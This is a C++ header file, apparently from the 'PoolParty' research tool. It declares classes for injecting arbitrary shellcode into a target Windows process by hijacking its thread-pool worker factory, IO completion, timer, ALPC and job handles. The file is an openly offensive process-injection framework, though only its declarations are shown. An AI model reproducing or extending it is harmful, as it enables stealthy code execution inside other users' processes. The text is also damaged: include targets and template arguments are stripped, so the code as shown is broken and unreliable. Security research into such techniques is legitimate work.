#pragma once #include #include #include #include #include #include #include #include #include "Misc.hpp" #include "Native.hpp" #include "WorkerFactory.hpp" #include "ThreadPool.hpp" #include "WinApi.hpp" #include "HandleHijacker.hpp" #define POOL_PARTY_POEM "Dive right in and make a splash,\n" \ "We're throwing a pool party in a flash!\n" \ "Bring your swimsuits and sunscreen galore,\n" \ "We'll turn up the heat and let the good times pour!\n" #define POOL_PARTY_ALPC_PORT_NAME L"\\RPC Control\\PoolPartyALPCPort" #define POOL_PARTY_EVENT_NAME L"PoolPartyEvent" #define POOL_PARTY_FILE_NAME L"PoolParty.txt" #define POOL_PARTY_JOB_NAME L"PoolPartyJob" #define INIT_UNICODE_STRING(str) { sizeof(str) - sizeof((str)[0]), sizeof(str) - sizeof((str)[0]), const_cast(str) } namespace logging = boost::log; namespace keywords = boost::log::keywords; typedef struct _POOL_PARTY_CMD_ARGS { BOOL bDebugPrivilege; int VariantId; int TargetPid; } POOL_PARTY_CMD_ARGS, * PPOOL_PARTY_CMD_ARGS; class PoolParty { protected: DWORD m_dwTargetPid; std::shared_ptr m_p_hTargetPid; unsigned char* m_cShellcode; SIZE_T m_szShellcodeSize; PVOID m_ShellcodeAddress; public: PoolParty(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); std::shared_ptr GetTargetThreadPoolWorkerFactoryHandle() const; WORKER_FACTORY_BASIC_INFORMATION GetWorkerFactoryBasicInformation(HANDLE hWorkerFactory) const; std::shared_ptr GetTargetThreadPoolIoCompletionHandle() const; std::shared_ptr GetTargetThreadPoolTimerHandle() const; std::shared_ptr GetTargetProcessHandle() const; virtual void HijackHandles(); virtual LPVOID AllocateShellcodeMemory() const; void WriteShellcode() const; virtual void SetupExecution() const PURE; void Inject(); virtual ~PoolParty() = default; }; class AsynchronousWorkItemInsertion : public PoolParty { protected: std::shared_ptr m_p_hIoCompletion; public: AsynchronousWorkItemInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); void HijackHandles() override; virtual void SetupExecution() const PURE; virtual ~AsynchronousWorkItemInsertion() = default; }; class WorkerFactoryStartRoutineOverwrite : public PoolParty { protected: std::shared_ptr m_p_hWorkerFactory; WORKER_FACTORY_BASIC_INFORMATION m_WorkerFactoryInformation; public: WorkerFactoryStartRoutineOverwrite(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); void HijackHandles() override; LPVOID AllocateShellcodeMemory() const override; void SetupExecution() const override; ~WorkerFactoryStartRoutineOverwrite() override = default; }; class RemoteTpWorkInsertion : public PoolParty { protected: std::shared_ptr m_p_hWorkerFactory; public: RemoteTpWorkInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); void HijackHandles() override; void SetupExecution() const override; ~RemoteTpWorkInsertion() override = default; }; class RemoteTpWaitInsertion : public AsynchronousWorkItemInsertion { public: RemoteTpWaitInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); void SetupExecution() const override; ~RemoteTpWaitInsertion() override = default; }; class RemoteTpIoInsertion : public AsynchronousWorkItemInsertion { public: RemoteTpIoInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); void SetupExecution() const override; ~RemoteTpIoInsertion() override = default; }; class RemoteTpAlpcInsertion : public AsynchronousWorkItemInsertion { public: RemoteTpAlpcInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); void SetupExecution() const override; ~RemoteTpAlpcInsertion() override = default; }; class RemoteTpJobInsertion : public AsynchronousWorkItemInsertion { public: RemoteTpJobInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); void SetupExecution() const override; ~RemoteTpJobInsertion() override = default; }; class RemoteTpDirectInsertion : public AsynchronousWorkItemInsertion { public: RemoteTpDirectInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); void SetupExecution() const override; ~RemoteTpDirectInsertion() override = default; }; class RemoteTpTimerInsertion : public PoolParty { protected: std::shared_ptr m_p_hWorkerFactory; std::shared_ptr m_p_hTimer; public: RemoteTpTimerInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize); void HijackHandles() override; void SetupExecution() const override; ~RemoteTpTimerInsertion() override = default; };